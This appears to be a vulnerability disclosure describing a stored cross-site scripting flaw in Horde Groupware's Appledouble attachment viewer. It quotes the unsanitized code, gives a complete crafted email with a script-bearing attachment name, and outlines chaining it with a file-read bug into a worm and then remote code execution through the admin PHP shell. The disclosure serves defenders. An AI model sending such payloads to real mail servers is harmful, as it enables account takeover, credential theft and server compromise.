Horde Groupware Cross Site Scripting

https://blog.evan.lat/posts/CVE-2026-65053/
    
    the blog talks about two vulns that are chainable together. for the sake of
    brevity ill write up on the stored xss one.
    
    in lib/Mime/Status.php, we see a pretty viable xss sink:
    
    $out .= '<tr><td>' . $val . '</td></tr>';
    
    xrefing this we see that most impls are sanitized with the exception of
    lib/Mime/Viewer/Appledouble.php:
    
    $data_name = $this->getConfigParam('imp_contents')->getPartName($data_part);
    // ...
    sprintf(_("This message contains a Macintosh file (named \"%s\")."),
    $data_name)
    
    exploiting this is trivial obviously. we just need to craft an email like
    this:
    
    From: [email protected]
    To: [email protected]
    Subject: mac file
    MIME-Version: 1.0
    Content-Type: multipart/appledouble; boundary="BOUND"
    
    --BOUND
    Content-Type: application/applefile
    Content-Transfer-Encoding: base64
    
    cmVzb3VyY2UtZm9yay1ieXRlcw==
    
    --BOUND
    Content-Type: application/octet-stream; name="<img src=x
    onerror=alert('hi')>"
    Content-Disposition: attachment; filename="<img src=x onerror=alert('hu2')>"
    Content-Transfer-Encoding: base64
    
    ZGF0YS1mb3JrLWJ5dGVz
    
    --BOUND--
    given the nature of this xss it is very much wormable and turns our
    existing arb file read to a half click exploit. obviously we wouldnt really
    want to use a half click primitive just to read files (although grabbing db
    creds is very trivial with these two vulns chained), so naturally we can
    try to achieve rce with this xss worm primitive.
    
    
    to get an rce from this is easy. we can either target an admin or craft an
    xss worm thatll eventually reach an admin. admins can access a PHP shell
    which let us run arbitrary php code, so we can simply use the xss to hit
    the PHP shell at /horde/admin/phpshell.php
    
    
    this constitutes a half click since the user simply needs to click on the
    email to trigger the xss in question. an exp poc is provided in the blog.